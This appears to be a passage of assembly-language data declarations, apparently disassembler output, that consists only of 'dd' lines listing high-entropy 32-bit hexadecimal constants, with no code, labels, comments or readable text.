dd 0EAB60EF7h, 0D97F0A09h, 0ABCB4CD6h, 23801E7Dh, 0E4AEBCB7h
dd 9D697BA5h, 952B9407h, 5F9F7D70h, 761C1324h, 121843DCh
dd 744C67F4h, 0C52C81A2h, 0E7BD0FA3h, 75692A70h, 0B854128Ch
dd 439AA42Dh, 0A075BE28h, 3EB4724h, 7B330ACFh, 3A02EE81h
dd 46F088C9h, 0C11463BEh, 621FD991h, 0FBB2D51h, 0E0CDE580h
dd 5EE39EE0h, 8566CFABh, 6DEB182Fh, 0BDE524BDh, 503B1035h
dd 9257DF4Dh, 61AE187h, 0C669733Fh, 0B3F4CF36h, 0EBD368F9h
dd 0BAC32D27h, 27AF4C5Ch, 0D3FDA038h, 0F047D277h, 99D142B0h
dd 76BA5382h, 0BE33B31Dh, 0D2D4B189h, 0A66C4DB6h, 85D7F7FEh
dd 82938E1h, 0C9F293D0h, 0F14A1A4Eh, 655102ECh, 6313B75Bh
dd 2CB8FCC3h, 0AF120864h, 71F2955h, 4E45668Ch, 6ADF5B95h
dd 184CDCB7h, 0EAD1CB9Fh, 6637F83Fh, 0BE49E9BEh, 2D8DAFC0h
dd 58F3AD7Ah, 0A0D3A7F6h, 0F458699Ah, 13852CFAh, 7207FA71h
dd 0DB99BCB1h, 494BC65Bh, 8D08C1D8h, 0D0513250h, 0F69B4E9h
dd 71793416h, 0D9332665h, 5AAFC8DBh, 7C5D9F55h, 3322F6AAh
dd 0EB0AB6A8h, 0DC92EB9Ch, 0D8FFE4CCh, 4307D30h, 26A984AAh
dd 0DFCF8F13h, 99B40E02h, 0BF14A198h, 0E53A04BAh, 705C2EADh
dd 601D47AFh, 243CA108h, 0A95EE106h, 926F1DDh, 0E2E0B339h
dd 0DE9899F9h, 0A0BB2CF6h, 7F7C8532h, 0BE7056D3h, 8B8F1D56h
dd 74D4DD45h, 5C694089h, 4F8D49F3h, 181516E4h, 318E2D77h
dd 0CF3AFE85h, 0A04A772Ah, 50C976BAh, 0DDDA81CEh, 0F1577281h
dd 707FBFB6h, 72DC9FE6h, 76CAD0AFh, 0D2EAC9F3h, 0DC1AB512h
dd 33AFBE8Bh, 2A1010Fh, 88436FCh, 0CE2C4EC0h, 0CF2F3D43h
dd 3980673Dh, 5F215BCAh, 37B3C9F6h, 1136EF72h, 0EE05A981h
dd 3F6E7C0Eh, 9FCD0789h, 0A64EBC37h, 364DCDD6h, 4FF8248Fh
dd 809A71B2h, 50932116h, 0C644A51h, 0FC62DD48h, 0EAE4E3C9h
dd 0BE46A166h, 0E9E81B1h, 12268E42h, 49FEC015h, 7FFDDE6h
dd 99523AF8h, 8765684Ah, 0CB7383FBh, 1461884Dh, 0E71CDA91h
dd 3479D612h, 0B13C8799h, 0FF1EB0F2h, 0FE9F621h, 0A14D5E5Fh
dd 0B459FFF4h, 24502533h, 0F2D1B896h, 0E16F8A68h, 8259B82Fh
dd 9F5AB525h, 6326ACD0h, 8428AAFEh, 4EB87FF4h, 388420CBh
dd 0E62E8008h, 0CB2DDD77h, 0D83C82B6h, 0E60293C5h, 158E1CD3h
dd 0D76235FDh, 4C16C60Dh, 9C85768Bh, 5A09BB2Fh, 0C55E02DEh
dd 8E39E26Eh, 8D72042Fh, 0BDE1D5DAh, 3F8FD005h, 49005284h
dd 6484E44Ah, 0A6D9E5B9h, 0F930099Fh, 0C2B50893h, 0D45C7431h
dd 0D8E81DCBh, 464812E2h, 0B096C930h, 2D4A0B1Ah, 0B3C5F9CCh
dd 5800C6D3h, 3ACC983Ch, 4B2504F0h, 9FDE3FD7h, 0F79C9F00h
dd 21CABB28h, 583E3243h, 28D6C4A3h, 4FAD213Fh, 56EF6E7Ch
dd 85B7AF87h, 15B3648Eh, 71FE19EBh, 880910F1h, 1EC07809h
dd 0EDA63463h, 8282BA51h, 590D6C25h, 0DD9E75Fh, 8A553455h
dd 0E3B1ADD7h, 326D293Bh, 3C8AF979h, 26B5A829h, 31E7A81Eh
dd 7B98304Eh, 0AAC84665h, 0F8ED9FCCh, 4E2E9471h, 784A2BD1h
dd 84E48AFh, 0D9EA916h, 798B95Ch, 14F9EC64h, 0CCB5113Ah
dd 0E89759E6h, 0FE24B72Fh, 0D6B4C240h, 0E97DA984h, 19E10479h
dd 87C9CD77h, 838C20E9h, 55C5BA18h, 2B9B182Ah, 0BBA32722h
dd 0A295C393h, 0BF716ECh, 818734A0h, 9E49A1F0h, 3ACF477Eh
dd 9B1C5B07h, 9A772E60h, 0B5F04A88h, 0B21EC9CAh, 0C8A2F518h
dd 7DFDF521h, 0BE7616B5h, 0B382A2D8h, 534971B9h, 23122E5Fh
dd 68A2D546h, 0D4772F8Bh, 0F2AEF379h, 9F18D9DAh, 0A6885A05h
dd 649BB2C4h, 697EC5B7h, 0FAED6E76h, 0FA88B99h, 0A18647BCh
dd 450A2959h, 58538F0Ah, 38ACBC8Bh, 9C3A495h, 408651F9h
dd 1EB095C9h, 9043D828h, 6EC33F21h, 62107342h, 336AA2Dh
dd 0E4B61BC8h, 6ECA6F58h, 0A8BCBC8Bh, 8D8EF317h, 985872DCh
dd 9040551Eh, 334E3741h, 16A22D46h, 0AAE41E7Ch, 2A176B00h
dd 8EA8A31Ah, 89B9948Ch, 9E137067h, 0CAE8B9ABh, 4E6C596Ah
dd 0AD58261Ah, 0E34A55CDh, 0BED87079h, 0F82DA744h, 467621D2h
dd 66B45D49h, 6F58FFE1h, 86DC7AB0h, 71EFA781h, 0D3365954h
dd 0E4328E52h, 0CC82A2DCh, 0D2CDDC9Eh, 0CA216D69h, 53A8122Ch
dd 9E3A4155h, 49C4996Eh, 26784A09h, 74E19415h, 8716FE9Bh
dd 8CCBE996h, 0B407995Bh, 44A37697h, 91AA13A8h, 6443124Bh
dd 402197h, 9FBA6AC6h, 0EE89D4B2h, 9DF1A3D6h, 54BFC768h
dd 0BB9215EEh, 0CB4F3181h, 39E08Ah, 0B2015287h, 0B301946Ch
dd 0B740C2AEh, 5614EC92h, 0C40CB833h, 71DD1BF2h, 0D65A0BE6h
dd 1FB4AFECh, 6BE0D08Ah, 0D7C9B56Fh, 0EA1262BEh, 0EF928451h
dd 0CE6FB1F5h, 18914433h, 57DE8A1Fh, 9C86A351h, 24042A88h
dd 0E0B941DAh, 60084527h, 0A663A7ABh, 0B48F6FCCh, 7B6E4A82h
dd 0B18710EEh, 3214A313h, 0DFF889ACh, 9811E672h, 8A533B8Bh
dd 0B52FE603h, 375CC013h, 948C7821h, 0D328B8D3h, 7B32E2EDh
dd 488AB75Bh, 5D058B2h, 0D8F83AB9h, 0C4F78BB2h, 2407A79Fh
dd 559D45C4h, 0E0E66853h
dd 2000D582h, 0E25B2884h, 40CE645Fh, 0E3D927C5h, 248E449Fh
dd 67D3C81Dh, 0E482AE2Fh, 0F8A0E5CBh, 0FF50084h, 90B14AF6h
dd 96C653CEh, 0A5F4BEBDh, 81ECE78Eh, 0B8B2B02h, 8A9DD77Dh
dd 0CC299CF5h, 10712CDCh, 15C8E23Bh, 927D44EFh, 0E3DE5291h
dd 23DFC0C4h, 343DFE9Bh, 0DCFF805Fh, 0FF12E7A2h, 357C2064h
dd 5484EB2Bh, 0C0376880h, 0B08C0CC7h, 9E572413h, 0F5BD828Bh
dd 0CA399339h, 69CE212Eh, 0E50FA449h, 0CA4B39FDh, 0FB1E0C46h
dd 187E3895h, 2F193151h, 2ED35EF9h, 0A3B6AF96h, 5EA833A1h
dd 0F69DF4BFh, 20755A52h, 957AC950h, 1BA892B8h, 6AA3F08Dh
dd 43F507h, 0E7C0D6EEh, 93E6C8F2h, 2CB8006Dh, 0F4349024h
dd 1199CA85h, 0D86F599Bh, 6FF4E9B6h, 5119B90Bh, 0F29199E3h
dd 0B3C93EB7h, 0F5BDDA13h, 299453A1h, 0EE147F93h, 24E58575h
dd 87ACC4FFh, 0A05BB371h, 8A892333h, 1C861EEh, 14C6E86h
dd 0DA48032Dh, 8DA75559h, 4CAA8956h, 329F53F4h, 0F11AA51Bh
dd 55FD1F38h, 5445B324h, 0FCD682E4h, 52C38D48h, 9B5ED560h
dd 0D47BB8C5h, 8E6FA36Ah, 9E2FEAC0h, 0D135E074h, 53EE883Dh
dd 0F8BB3352h, 4B2F8025h, 0A10EFD69h, 3454BCCCh, 0AE52ACF8h
dd 76C8F59Dh, 0BEACDC06h, 348EA414h, 0DA41BB8Bh, 0CC8E1EE8h
dd 0B0D2132Ch, 0A838FCC4h, 13155DFCh, 97EF1C61h, 86CC9CFFh
dd 0BCAFB731h, 0C2789CF4h, 58E57E7Bh, 738B06FEh, 594A4A14h
dd 27DE8B5Ah, 9FFA8375h, 0BFE7763Bh, 0C6070395h, 0B589EDBh
dd 8623F6ACh, 0ACDFF8D0h, 264D96B1h, 5510F892h, 0A4A51BFAh
dd 0A4CE42Eh, 51027785h, 8AF1D9EEh, 4A0D4EA6h, 0D1A3C6E5h
dd 95634138h, 0C7A7AC10h, 8C13CB87h, 47101778h, 0D013FD91h
dd 9E4F2848h, 0D29EDFDCh, 0CC0939E4h, 3FE3A7E4h, 0D0ED6025h
dd 0CD154405h, 4F55776Eh, 920CED03h, 7F842DEh, 227ECE85h
dd 0B0B57BF0h, 56BACCBh, 7474DAC0h, 0A7B11A4Ah, 6919EA81h
dd 3A66093Ah, 474542EEh, 0DC262EDCh, 0EE8167B4h, 0A13D4E9Fh
dd 50E2C206h, 6411BCBAh, 35EEC4DFh, 6B54F0B5h, 447791E3h
dd 964560E6h, 0EA8F8124h, 3170195h, 1485ABA5h, 84ED98Fh
dd 0DEF5774Ch, 936781F5h, 6EF80126h, 0F90B7C57h, 28CDCB86h
dd 93E8D0D8h, 6A0862CCh, 837A936Bh, 0D86B86B0h, 6E376C95h
dd 7E1F49B7h, 3EA650D5h, 6F752036h, 0C71B69C8h, 0C97BD2A8h
dd 0BD830CE2h, 83B90C55h, 0C52DDDDAh, 0D03870F7h, 455A284Ch
dd 0AA0A4D1h, 135D63BEh, 0E9058AB1h, 99FA94AAh, 64A742D1h
dd 9FD01CEFh, 0BB9402EDh, 4EE580D0h, 363F90B6h, 4BE3860Ch
dd 0B20A74Ch, 0A53E9F59h, 0A22F6A4Ch, 0FD804672h, 0A475B8D4h
dd 96D7AAA2h, 0F2F9EA08h, 1CC1D2F6h, 1B57FD39h, 926538Dh
dd 29161A10h, 0F66B842Bh, 0C93C87Dh, 1DF52562h, 0F1208D9Eh
dd 99017AA2h, 0B5BB8227h, 0FA339358h, 0AEC1AEA1h, 0F45C95C9h
dd 2F535E41h, 934D148h, 0A3CBD914h, 0E2EABBBAh, 8FE77CE3h
dd 5A10AB97h, 0C120D068h, 0A9263040h, 98862396h, 0E77ACD4Dh
dd 40A1D6E5h, 471B3C64h, 344C87ADh, 967B1F96h, 0CA75657Eh
dd 2BF4C871h, 7EA01811h, 9779A5CFh, 0A0EAA854h, 3ABB4B45h
dd 98F19488h, 0E5A3E034h, 1A8D8E13h, 0E0AED90Ah, 0FE5CFB7Fh
dd 0EC4BE770h, 2E69A2ADh, 0A63226D8h, 0DBC120B0h, 8442E1F8h
dd 9608A15h, 856E30Ah, 65596300h, 0A3CF7602h, 0FDC08045h
dd 2CEB58DEh, 2658E689h, 5B77973Bh, 96FDCFB1h, 9707ECC7h
dd 71A386FEh, 0C980C45Bh, 0AA6F4CFDh, 0A074FEE6h, 4DA5C9Bh
dd 8F535298h, 2D8DB234h, 0D3C50BADh, 0FCB27D0Fh, 116D6388h
dd 57954CF2h, 593EFDBh, 8DCB35F3h, 60723EFEh, 0FA6E3859h
dd 73FE7670h, 0A8DE4577h, 8F63513Ah, 47F491C4h, 0BE3D58EDh
dd 90E7A1C3h, 0BF63EFFBh, 8A5F0774h, 0BB16E3A3h, 0E7D1D823h
dd 7F41B1C2h, 0A8D44BD3h, 0E413CD43h, 6D65811Eh, 0A3BAF163h
dd 2E3A99BCh, 65C1806Dh, 0D4D03815h, 6C55B88h, 87AF4215h
dd 0ABCE2815h, 0CB6EAD67h, 7A38C49Ah, 170BC20Fh, 0D19770B0h
dd 81131E8Bh, 0F8EA60F1h, 2B7E53B6h, 3B6B8FEh, 90C1015Dh
dd 55D18724h, 343ACE95h, 0E83AE317h, 1BF047F6h, 0AD240A52h
dd 11117DB0h, 68F5B0BAh, 0B8344FDAh, 0C988F5F3h, 7EEED32Ch
dd 0B1E1D155h, 0B415BD31h, 5C74CCC0h, 0E8EAFD8Eh, 0E6F57F32h
dd 5AC1F252h, 0F8B5AC27h, 5CB914B2h, 7B48C148h, 18E9A56h
dd 0FA98ADA9h, 0AB6E4547h, 31904481h, 0BD833414h, 5974709Dh
dd 8767C738h, 0A5CAA055h, 0C2036C9Dh, 48347FB4h, 0A532DF7Dh
dd 80B5B8Dh, 413FDC77h, 59C4DCEBh, 3E70F4C3h, 638353Ch
dd 2F104FCBh, 0B0DB6225h, 0F72DE54h, 8DAB10C3h, 1519A79Fh
dd 0C9EFDC8Ch, 33820532h, 59187EA8h, 48B10BB1h, 2455A888h
dd 0A83CDE7h, 6A61FF8Ah, 6848AEECh, 0D4C2A6FDh, 0BBFAD85h
dd 0D3DDDB15h, 1A903190h, 0AD3C2AA9h, 0C94E3004h, 0FA157C25h
dd 0D89BF74Dh, 0EE8E29C4h, 0CC01995Bh, 830256B9h, 0D167BF1h
dd 0F6F1B154h, 0A3FD0AA5h, 7968A0A7h, 82FA6482h, 0B996A2B0h
dd 71BCE284h, 36CF0136h, 0F89802FCh, 5A562B9Bh, 0ECCEE43Ah
dd 0C0165BA9h, 910F7823h, 2280CEA5h, 0B982C76Eh, 840C2145h
dd 3BBB8E76h, 82FF8579h, 76B1908Ch, 55F4B4CFh, 7D4CA24Fh
dd 93B4704Dh, 0ACB93F5Bh, 0ACA358F3h, 3D24601Dh, 92235FA3h
dd 7B454505h, 0AB70553Fh, 0C3EB0BB9h, 915E43A5h, 93076Eh
dd 6011C76Ah, 149F58D2h, 77FBE2BBh, 4F5C07D6h, 0AACAF9B0h
dd 0B2ACB6E8h, 0BCF90027h, 0AA138A1Eh, 65574E3Bh, 0FF4EFD49h
dd 0B20F9E7h, 46CB6715h, 0F9D26339h, 5370D201h, 96072DAAh
dd 387C9AA0h, 4F50E948h, 0FDBD898Eh, 0E0C2AB6Dh, 2BF40F6Bh
dd 0FAE289A5h, 75626238h, 0A93DF73h, 9A81A375h, 8BEC88A9h
dd 728602A1h, 709D68D2h, 5E374A3Fh, 641B2A08h, 0E9A83D5Fh
dd 71EF0A73h, 0B494DF8Eh, 9021FEF4h, 6838BE0h, 0EB9A0848h
dd 0BE3D87BFh, 1D310CF4h, 0C87AC40Bh, 8AE40AB3h, 0E2E25838h
dd 0F56493F7h, 0F57036CDh, 0B2F58C15h, 0DC9F84ABh, 7E58CD93h
dd 1FAAF66Fh, 1B8CC79Bh, 0B79595BDh, 0B3FA0D9Fh, 61B8A3F5h
dd 432FAEFAh, 99D1ED46h, 4ABC3C32h, 0A8CE4B01h, 96D92176h
dd 1C333408h, 0FC1B07BBh, 9F6B5C62h, 0BA867B5Bh, 3F996234h
dd 0D70A5F15h, 59C54294h, 2D58EB4Dh, 0AED096E7h, 879D4E11h
dd 92BBE9C2h, 9A217F92h, 5730AE69h, 3C72FB90h, 53C7571Eh
dd 4EBD3D3Ch, 0BF98B97Ch, 320B2E27h, 458A8224h, 0D942801Ch
dd 5D6D6A46h, 8304DE77h, 0D4B80DB6h, 4E185EC4h, 0E58CF348h
dd 83EB060Fh, 0D586620h, 671B688Ch, 5976F30Bh, 3E6D2896h
dd 0E87FD9CAh, 8E186D85h, 657224D0h, 3F58EB59h, 975BA10Eh
dd 0C752A4C9h, 0E6BD0B6Bh, 3C30D0E9h, 50A4BC98h, 37DA978Dh
dd 5653151Dh, 57269744h, 0A4967A53h, 9E1047EEh, 0CFD70CE7h
dd 0AF9F5D8Bh, 0B9F2934Dh, 0EC9FD339h, 81634C66h, 582109B5h
dd 8F420E87h, 0B57D2E44h, 52BD2F9h, 99E674DDh, 68A0EF1h
dd 0DE2CC565h, 0CC3ED46Fh, 3F61BF89h, 67CF20Ch, 94EC7C8Dh
dd 78855EE1h, 8E7FA4DFh, 3BF058F6h, 0E7A127D8h, 0ED348DABh
dd 20A0A23Fh, 54F5A35Dh, 1328652Ch, 0CB4687C6h, 0CF849458h
dd 147EB0BEh, 3924D52Bh, 800C394h, 6487E279h, 84919FD2h
dd 0B053FFFh, 1106920h, 8CCE5438h, 8C5D1FC0h, 15FC256Ch
dd 2DCF6A62h, 2FB761D1h
dd 0E63D507Dh, 9A4ECE3Ch, 20DF7DA8h, 177A0FAEh, 0D48EFADBh
dd 966C6CE3h, 0D38615AFh, 0C052FEBEh, 40F7DB0Ah, 6122294Fh
dd 32A8C2E6h, 4CE7982Fh, 54C7D767h, 0DB57DC91h, 0E08B8209h
dd 7EA143D7h, 0B1EDBE61h, 0FA75BC28h, 5DBEF36Dh, 0B97EA89Eh
dd 593530DDh, 8C06527Fh, 2BE8DDAh, 0E49EC524h, 0DA8BABF3h
dd 9D2ADFBCh, 96B8876Ah, 7866C7C7h, 98CBFAAFh, 0ED63B8CDh
dd 575B8454h, 0BB75B018h, 8FB4B66Dh, 71ABDE15h, 0E3C7BB3Bh
dd 28AF03DAh, 7C04129Bh, 0AFEAC94Ah, 8D817CBFh, 7B0B971h
dd 0B6FB0B45h, 0C7D8C8Ah, 0B3743F35h, 0FBAE2A0Ah, 0B67BC537h
dd 1CA47F7Dh, 41996AC2h, 0E182BA3Fh, 6E94FFEBh, 26173BEFh
dd 0A858F040h, 23CF04F4h, 0E882F5F5h, 0B474B2B1h, 236CEA56h
dd 0D7254149h, 0EEAD636h, 30577484h, 0BF284453h, 0B9BB0EB9h
dd 0FCF9929Bh, 3B57F573h, 47A8EDF9h, 6029D735h, 8BBC2133h
dd 0CDE7A260h, 2B7FCEF3h, 0F7563E46h, 0F757D327h, 2B5E9D6Bh
dd 0F3BFED0Ah, 6560DB1Dh, 7B7448BAh, 6F7182A0h, 982341E0h
dd 48359A5Eh, 8E95A495h, 2768E78h, 0B3E2C6FBh, 880B60FEh
dd 17196203h, 0F17663ABh, 13B39908h, 854F1FECh, 45825347h
dd 0DEFF0F3h, 5960FB73h, 252773DFh, 0F7690044h, 0EE84761Bh
dd 0CCEC6B8Bh, 241C8F9Eh, 8D46E1C9h, 9284FE1Dh, 0FA58FC66h
dd 38E74A80h, 726132F4h, 166FD3F3h, 9BC3E364h, 82A4D862h
dd 0A19EA527h, 8B394479h, 57C500B4h, 3AD25E8Bh, 0D7684E94h
dd 861CB9D0h, 9F359DC3h, 28D64A29h, 0D5507CC6h, 0BCF3A71Bh
dd 0B22BC111h, 0A863D0EFh, 760A498Eh, 0BF426211h, 0F444FDC9h
dd 7E4009F0h, 9E76F7EDh, 3F4EDA2Bh, 71552970h, 51E84ED3h
dd 61536C90h, 0AD07BD8Eh, 17CB39DCh, 0B6CD8EF2h, 3CFD277Ah
dd 4C0FCC00h, 727758Eh, 0B352C574h, 5940F30Eh, 486EE289h
dd 73014C13h, 0EA54078Ch, 5A7846FEh, 0E580A4Ah, 2D769845h
dd 0BB11D9BBh, 588D67C1h, 278AF625h, 0B8420668h, 0A8EB2461h
dd 0E586BB6h, 0F475F45Dh, 51A527AFh, 8CB3BD67h, 20B1A06Ah
dd 10952490h, 8ADBA823h, 37520863h, 45672A3Eh, 419F078Dh
dd 9B5E6197h, 51351C27h, 0AED0C9CDh, 8124529Fh, 8849918Eh
dd 0CBB35ECCh, 0A0047B5Bh, 0B46FE23Ch, 8BE0EF8Ah, 0D2641590h
dd 364B5F41h, 873B9882h, 677E87B3h, 0ACD4D09Eh, 502E4AB2h
dd 0CC38AF7Ch, 0A6AA8EAh, 6253BE17h, 3B7DF0DDh, 77948FB1h
dd 0EF169A10h, 186B683h, 472772B1h, 0A7FC5FAFh, 2D9C34FFh
dd 8D70AE0Ch, 502EFFB9h, 76915137h, 0FC28FCD2h, 950AFE66h
dd 9A62F6F7h, 419B3238h, 87EC2F4Dh, 7703055Eh, 59D37D21h
dd 7861FF32h, 0BC485FF1h, 0F6C5A4F2h, 6C59C3CDh, 0EFED4C83h
dd 15B4911Ch, 0EC77C4B6h, 3F6EF3F0h, 0FAD8925h, 0AFBA6DA5h
dd 0F65632FAh, 81054214h, 96EEE66Ah, 0B2A3C6ACh, 26DCDA14h
dd 0A5234011h, 29529695h, 0E9F19379h, 752AB330h, 108FBF4Eh
dd 0A337AFE1h, 0DC191F46h, 3D5B459Fh, 7A82F831h, 7B88384Ah
dd 0AE06B802h, 0F352CBBCh, 0DAE4CB2Eh, 595539C4h, 0B1D08E1Eh
dd 3E9F4AFAh, 60A61166h, 299AA5C7h, 0BCF6303Ah, 4D42258Eh
dd 0BA22D7ACh, 169CF7A9h, 3E6654F6h, 119FC508h, 88FB9750h
dd 7AAF01A3h, 0C358ABB3h, 0A4A51DC1h, 0C332C77h, 9D24C53Ah
dd 47968115h, 0D2C284F5h, 4AEB2569h, 79317299h, 5F514413h
dd 5DC7A347h, 0E957F584h, 69010A3Eh, 79B48F05h, 0A0915C6h
dd 148F7998h, 0C7A5EEA1h, 0D2FE913Fh, 616F31Fh, 8DDE8669h
dd 3A26D882h, 6B9F707h, 285F9AE1h, 0F898F6B4h, 3C1A45DBh
dd 2693E688h, 4C9E2A0Bh, 0C6E8B3D1h, 2CFEB72Bh, 0C129D7E6h
dd 60A3827Ch, 94056C28h, 295703F5h, 609860BDh, 0A7BC8A0Ah
dd 0A353C82Eh, 23A370BDh, 0CD8D469h, 2C34E58Dh, 7594DBD0h
dd 9D39146Ah, 0D633EECFh, 76380446h, 0F28BC348h, 9D6849ACh
dd 4E6E980Bh, 982AB2C6h, 9F65A5h, 958EAFF8h, 2608F0ACh
dd 0EFBCC183h, 51848B3Ch, 885463ECh, 0D61F3E0Bh, 0B12960EDh
dd 992C6EBh, 0BEE2BCE2h, 394DC1Fh, 0AFADDE92h, 46AC5339h
dd 4E90C629h, 7626064Bh, 8EDD3BA6h, 350E166Eh, 7D2E62E4h
dd 3F1F22AEh, 0D46D53C2h, 0C388BB50h, 3AD03016h, 109061Ch
dd 8E50C4B4h, 0C6B06564h, 2DF4F762h, 2BAF846Dh, 4536A24Dh
dd 1CA15CF4h, 0ABC2EF43h, 8A18D3DFh, 3857BC7h, 0D5F1CC2h
dd 6A14DBBh, 0A8CBB234h, 0F6CB65A2h, 33E39D63h, 8048FE5Ch
dd 0D65E80B0h, 7690594Dh, 3CB36D75h, 834E5B6h, 0D5F55396h
dd 68EA1B74h, 268D3E62h, 94B9F072h, 0A0C55803h, 27EF4FCh
dd 54BAFC40h, 0A0791A39h, 8BC56F5Dh, 5D6187FEh, 18DB340Ah
dd 0DBA7C5F1h, 0C280D9ADh, 1A641F8Ah, 0B59C69B7h, 0E217CB96h
dd 0EF72128Fh, 0BA337572h, 0B693017Fh, 3E97BE51h, 0F1196C20h
dd 2497B603h, 73017BC7h, 394F7229h, 0CDD54BCCh, 789A6FBFh
dd 5EC09CEAh, 0A4AB2579h, 1937EC7Bh, 0B51767F6h, 0A2E8C46Bh
dd 8DD1AC8Bh, 90AB5F54h, 0F81D6E94h, 924214BEh, 0EE1670Eh
dd 0F7BD54BCh, 0ADB4B5F9h, 0DF64C47Dh, 8B8E4275h, 46F51F07h
dd 0DEEB2EAh, 0FB6DE1B1h, 6A7802D4h, 64F26124h, 19C4F514h
dd 0D3C4A052h, 0E37F3EE8h, 5A65AE48h, 58E79109h, 0BBF3FB51h
dd 0B5118CFFh, 6957AE29h, 0C4D45331h, 999C29F8h, 5359DA54h
dd 0C6DCA881h, 2038C938h, 0B98CEE44h, 96313A7h, 1AD6AA68h
dd 5E15F133h, 67BC82D6h, 4B0CF0D9h, 0DBC3127Eh, 0F0672AA1h
dd 1A846BC4h, 9A8DDD11h, 0C542462Dh, 0E96AF282h, 62DB3D4Fh
dd 4963F6EEh, 0F3BCB0F3h, 81A781E5h, 437F4FAFh, 0DAF72482h
dd 0B9225E2Fh, 4C769965h, 4B6AF658h, 0A5BA297Eh, 0BCC404C0h
dd 0DAD0814h, 0B8E00FF7h, 0D5940FF2h, 0F55D7DD9h, 0BED50035h
dd 0BCC94463h, 58E96F85h, 24797B86h, 0EE49252Fh, 21D33BD9h
dd 22DDFE32h, 0E6EF9DAAh, 18FED376h, 902EFE59h, 8814C369h
dd 5F54EC5Dh, 5D225B2Ch, 486557Dh, 1B1BA553h, 0A925C1A3h
dd 5D3856D3h, 9EB15FFAh, 775E6E5Dh, 19A3E7F3h, 0EC36B0A7h
dd 3B998A8Ch, 0ED856A14h, 0B8102AC4h, 82E2DEC3h, 9690C152h
dd 14481D93h, 0DC9D4AC1h, 3605510Bh, 0F73E22ADh, 188CEC12h
dd 32F6F1B9h, 81B2B504h, 7A54BABAh, 0CB550B8Eh, 40E6E741h
dd 1F613A53h, 9EA998A9h, 5A7C938Ch, 0E8E5E0A4h, 0AF8F1C7Ch
dd 2083E91Dh, 0E2DCF52Ah, 70312EA4h, 4E41C0A4h, 88A5413Dh
dd 0BE2E68FFh, 3DDB5958h, 8D8AE002h, 944E129Ch, 7B22CB1Dh
dd 0B214A9D7h, 0D9004A39h, 74C59CEDh, 79BC561h, 0C2044406h
dd 0DABD538Dh, 0AD50122Eh, 3CE8B0D6h, 0AACF6014h, 92DD0B9h
dd 3A767B45h, 21C972CFh, 99933D0Dh, 0F121C167h, 73B54327h
dd 0D48B55FCh, 749CE3B4h, 187B1660h, 0FD1D4C4Ch, 612C79FAh
dd 42D00805h, 9986DF3Eh, 2A898A9Ah, 0E5AC072Eh, 3B5CCE86h
dd 79BEA81Ch, 869D31EEh, 94960F37h, 76DE27A7h, 0CA9EC6B2h
dd 0BC2CE0F8h, 6532E821h, 23C88C7Ch, 90174367h, 0A6701DEBh
dd 0ED91B64Fh, 655F4088h, 0B49C6D21h, 0EE3EF22Eh, 0BE39BA5Eh
dd 0B040F22h, 720F93C5h, 0F1C29943h, 0B0175B66h, 8BE5AECEh
dd 5A58D567h, 343FB34Ch, 0CC59FCAEh, 0CAC2539Dh, 0C4581A11h
dd 9B0A4E8Ch, 6060AC3Dh, 0CC6E5702h, 7AEA7809h, 24FE4C04h
dd 97C54E3Bh, 121F1345h, 0C70E4BDFh, 0B7C7CEA7h, 801B3D73h
dd 0BBE9BDC6h, 775CE277h
dd 0CFE1809Bh, 692495EFh, 4ADE6404h, 95FF3A3Eh, 7E53522Ah
dd 0FF9240D2h, 3AF3EA07h, 0E8B6A419h, 7DBC2277h, 0E1EA4FF8h
dd 5BB1B646h, 88288D38h, 87109370h, 0E3CE0198h, 1EB3B45Eh
dd 0B30E47E4h, 0F624BA79h, 0C182A9FDh, 9A6843D1h, 26474A73h
dd 93F38C17h, 8467E1C1h, 5F2FAE48h, 0AA679F30h, 0E4181656h
dd 93FB4EB3h, 0E88340B5h, 7C5D37FFh, 0A534259Ah, 0C3E20DA9h
dd 0BCEF35CEh, 2A413432h, 0B8C79A17h, 3BCE3575h, 0A5480793h
dd 0BD6E6FFDh, 2E003746h, 22791E44h, 2B275F77h, 5C433C70h
dd 0B811587Fh, 83B2C0F4h, 0B829ED6Fh, 1253A223h, 6CD5AA4Dh
dd 0F64D089Dh, 5D360D77h, 0E7F83762h, 8F70CEEBh, 0F6313CB2h
dd 0D628BA23h, 0FC70DACh, 9C7BD321h, 41C74E88h, 0BFEC5C7Eh
dd 9A7CFEA7h, 84956414h, 0AD52F58Dh, 7CEA01E2h, 0F0D42848h
dd 8A2B0847h, 4FF457C3h, 9FF6DDFh, 0C955C6D9h, 0B3F6E681h
dd 7C9F7293h, 17D05113h, 15692209h, 0A3D2081Eh, 0D5B6D564h
dd 0D597DA8Dh, 0CF28A31Ah, 83D4F2F2h, 8A2DDA01h, 1E1F6E76h
dd 0F8C46C03h, 0A8FC8726h, 9E9CECBAh, 3F282F1Eh, 0AE3B33E0h
dd 81E7D451h, 113ABDC8h, 0EDD584B9h, 605A314Eh, 0C18921BDh
dd 6B90AA19h, 49046768h, 142965DCh, 0E00F6D7h, 80F8AFDBh
dd 0AC7E0064h, 0E3049AD4h, 0A666CFF2h, 0CE24F68Ch, 9244F507h
dd 0C0099ADEh, 15C680C2h, 0E43418DDh, 36A12B20h, 92BFE700h
dd 0F16ED33Bh, 909B8F99h, 0AF473E7Fh, 2823F6CBh, 0FBBCC58Dh
dd 477C92F7h, 0DEEB4735h, 137BC9E4h, 0DD8CEA9Ah, 0B0B84DFBh
dd 6BE6E2EDh, 0FEC7CB33h, 3802FF22h, 532CFD0Dh, 3951365Ch
dd 80D4C46h, 5A562157h, 0D22D7373h, 1F40D0E9h, 0E344A2E2h
dd 180DEBD2h, 6D4E4404h, 2A5B8A21h, 0DDBBF830h, 0A6BA2766h
dd 0B7040E2Fh, 0CCAFE579h, 6795E372h, 69DBDBE2h, 0DE59592h
dd 4C54A984h, 79A6E504h, 0F2B93768h, 65AD8AC9h, 0AABD5CF5h
dd 8175CEA8h, 5A5E565Ch, 0AA4AD46Bh, 8B7C5526h, 48E65E4Fh
dd 1544D34Bh, 1B7640DCh, 10C070EDh, 41DCB02Ch, 0D9F9F48h
dd 0DEDD05B2h, 57C11F39h, 9F1879C6h, 215B9EC7h, 0EE86F88Dh
dd 0C90394F1h, 690780FEh, 0D4C68678h, 90B5FCFEh, 1E2BD934h
dd 9982B973h, 621F51BCh, 98537838h, 0A79A09B5h, 458DF6CDh
dd 65A4C8DDh, 1E9B740Bh, 25C1DE30h, 0EC6716E7h, 2817B070h
dd 23677C1Ch, 0D839B27Fh, 89939869h, 5862F7E6h, 0DE23AAF6h
dd 4B767860h, 0A20CAA8Ah, 5BBC6364h, 6525F408h, 8EFC719Bh
